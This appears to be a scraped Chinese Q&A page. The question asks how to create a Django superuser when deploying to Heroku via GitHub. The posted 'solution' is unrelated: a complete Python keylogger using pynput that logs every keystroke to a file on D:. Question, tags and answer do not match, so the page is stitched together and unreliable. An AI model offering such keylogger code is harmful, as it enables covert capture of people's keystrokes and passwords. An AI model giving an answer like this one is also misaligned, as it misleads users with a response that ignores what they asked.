首页 > 解决方案 > 通过 Github 部署 Heroku,超级用户创建

问题描述

我已经通过 GitHub 将应用程序部署到 Heroku,并通过添加运行迁移


release: python manage.py migrate


到 Procfile。我知道我需要创建一个超级用户(如果我使用的是 CLI,这很简单)但是我需要一种可以使用 GitHub 部署明确地做到这一点的方法。

标签: pythonoperating-systembots

解决方案


根据我的研究,很难跟踪所有事件

但是您可以创建一个键盘记录器,它会跟踪击键并保存它

这是代码: -

# keylogger using pynput module 
   
import pynput 
from pynput.keyboard import Key, Listener 
   
keys = [] 
   
def on_press(key): 
      
    keys.append(key) 
    write_file(keys) 
      
    try: 
        print('alphanumeric key {0} pressed'.format(key.char)) 
          
    except AttributeError: 
        print('special key {0} pressed'.format(key)) 
           
def write_file(keys): 
      
    with open('D:/log.txt', 'w') as f: # This will save in D drive as log.txt
        for key in keys: 
              
            # removing '' 
            k = str(key).replace("'", "") 
            f.write(k) 
                      
            # explicitly adding a space after  
            # every keystroke for readability 
            f.write(' ')  
               
def on_release(key): 
                      
    print('{0} released'.format(key)) 
    if key == Key.esc: 
        # Stop listener 
        return False
   
   
with Listener(on_press = on_press, 
              on_release = on_release) as listener: 
                      
    listener.join() 

推荐阅读